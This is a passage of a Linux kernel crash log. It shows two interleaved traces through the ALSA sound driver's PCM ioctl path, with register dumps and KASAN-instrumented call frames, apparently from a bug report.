[ 141.594873] CR2: 00007fab66aa0e78 CR3: 000000004d344005 CR4:
00000000000606e0
[ 141.594874] RAX: 0000000000000000 RBX: ffffffffc0b416e0 RCX:
0000000000000000
[ 141.594876] RDX: 0000000000000001 RSI: 0000000000000008 RDI:
ffffed1013adff69
[ 141.594878] RBP: ffff88809d6ffbe0 R08: 0000000000000001 R09:
ffffed10193e551b
[ 141.594879] DR0: 0000000000000000 DR1: 0000000000000000 DR2:
0000000000000000
[ 141.594881] R10: ffffed10193e551a R11: ffff8880c9f2a8d7 R12:
ffff888035191440
[ 141.594882] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7:
0000000000000400
[ 141.594884] R13: ffff888035191594 R14: ffff888035191400 R15:
ffff888035191468
[ 141.594885] Call Trace:
[ 141.594888] FS: 00007fab6fab3700(0000) GS:ffff8880c9f00000(0000)
knlGS:0000000000000000
[ 141.594894] snd_pcm_common_ioctl+0x5f2/0x1b00 [snd_pcm]
[ 141.594896] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 141.594901] ? snd_pcm_status_user+0x130/0x130 [snd_pcm]
[ 141.594903] CR2: 000055cff0604b28 CR3: 000000004d344002 CR4:
00000000000606e0
[ 141.594909] snd_pcm_ioctl+0x6d/0xb0 [snd_pcm]
[ 141.594911] DR0: 0000000000000000 DR1: 0000000000000000 DR2:
0000000000000000
[ 141.594913] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7:
0000000000000400
[ 141.594915] do_vfs_ioctl+0x9da/0x1020
[ 141.594916] Call Trace:
[ 141.594919] ? ioctl_preallocate+0x1c0/0x1c0
[ 141.594922] ? __kasan_check_write+0x14/0x20
[ 141.594927] snd_pcm_common_ioctl+0x5f2/0x1b00 [snd_pcm]
[ 141.594930] ? __fget+0x21c/0x3d0
[ 141.594935] ? snd_pcm_status_user+0x130/0x130 [snd_pcm]
[ 141.594939] ? copy_fd_bitmaps+0x2e0/0x2e0
[ 141.594944] snd_pcm_ioctl+0x6d/0xb0 [snd_pcm]
[ 141.594947] ? __switch_to_asm+0x40/0x70
[ 141.594949] do_vfs_ioctl+0x9da/0x1020
[ 141.594951] ? __switch_to_asm+0x34/0x70
[ 141.594953] ? ioctl_preallocate+0x1c0/0x1c0
[ 141.594955] ? __switch_to_asm+0x40/0x70
[ 141.594957] ? __kasan_check_write+0x14/0x20
[ 141.594960] ? __fget+0x21c/0x3d0
[ 141.594961] ? __switch_to_asm+0x34/0x70
[ 141.594965] ? __fget_light+0x17e/0x1f0
[ 141.594967] ? copy_fd_bitmaps+0x2e0/0x2e0
[ 141.594969] ? __switch_to_asm+0x40/0x70
[ 141.594971] ksys_ioctl+0x67/0x90
[ 141.594974] ? __switch_to_asm+0x34/0x70
[ 141.594976] __x64_sys_ioctl+0x73/0xb0
[ 141.594979] ? fpregs_assert_state_consistent+0x22/0xa0
[ 141.594980] ? __switch_to_asm+0x40/0x70
[ 141.594982] ? __switch_to_asm+0x34/0x70
[ 141.594985] do_syscall_64+0x9f/0x3c0
[ 141.594988] ? syscall_return_slowpath+0x1a5/0x220
[ 141.594990] ? __fget_light+0x17e/0x1f0
[ 141.594993] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 141.594995] ksys_ioctl+0x67/0x90
[ 141.594998] RIP: 0033:0x4e68b7
[ 141.595000] __x64_sys_ioctl+0x73/0xb0
[ 141.595002] ? fpregs_assert_state_consistent+0x22/0xa0
[ 141.595004] Code: 4f 55 04 00 85 c0 78 df 48 83 c4 08 48 89 d8 5b 5d c3
90 48 89 e8 48 f7 d8 48 39 c3 0f 92 c0 eb b4 66 90 b8 10 00 00 00 0f 05
<48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b8 ff ff ff f7 d8 64 89 01 48
[ 141.595006] RSP: 002b:00007fab6baaada8 EFLAGS: 00000246
[ 141.595008] do_syscall_64+0x9f/0x3c0
[ 141.595009] ORIG_RAX: 0000000000000010
[ 141.595011] RAX: ffffffffffffffda RBX: 0000000000000000 RCX:
00000000004e68b7
[ 141.595012] RDX: 0000000000000000 RSI: 0000000000004112 RDI:
0000000000000003
[ 141.595015] ? syscall_return_slowpath+0x1a5/0x220
[ 141.595017] RBP: 00007fab6baaadb0 R08: 00007fab6baab700 R09:
00007fab6baab700
[ 141.595019] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 141.595021] RIP: 0033:0x4e68b7
[ 141.595022] R10: 00007fab6baab9d0 R11: 0000000000000246 R12:
00007fab6baaae80
[ 141.595024] R13: 0000000000000000 R14: 0000000000000000 R15:
00007ffe52234d70
[ 141.595026] Code: 4f 55 04 00 85 c0 78 df 48 83 c4 08 48 89 d8 5b 5d c3
90 48 89 e8 48 f7 d8 48 39 c3 0f 92 c0 eb b4 66 90 b8 10 00 00 00 0f 05
<48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b8 ff ff ff f7 d8 64 89 01 48
[ 141.595027] RSP: 002b:00007fab6fab2da8 EFLAGS: 00000246 ORIG_RAX:
0000000000000010
[ 141.595030] RAX: ffffffffffffffda RBX: 0000000000000000 RCX:
00000000004e68b7
[ 141.595031] ---[ end trace 86992d9d3bd66364 ]---
[ 141.595033] RDX: 0000000000000000 RSI: 0000000000004112 RDI:
0000000000000003
[ 141.595035] RBP: 00007fab6fab2db0 R08: 00007fab6fab3700 R09:
00007fab6fab3700
[ 141.595037] R10: 00007fab6fab39d0 R11: 0000000000000246 R12:
00007fab6fab2e80
[ 141.595038] R13: 0000000000000000 R14: 0000000000000000 R15:
00007ffe52234d70
[ 141.595043] ---[ end trace 86992d9d3bd66365 ]---
```
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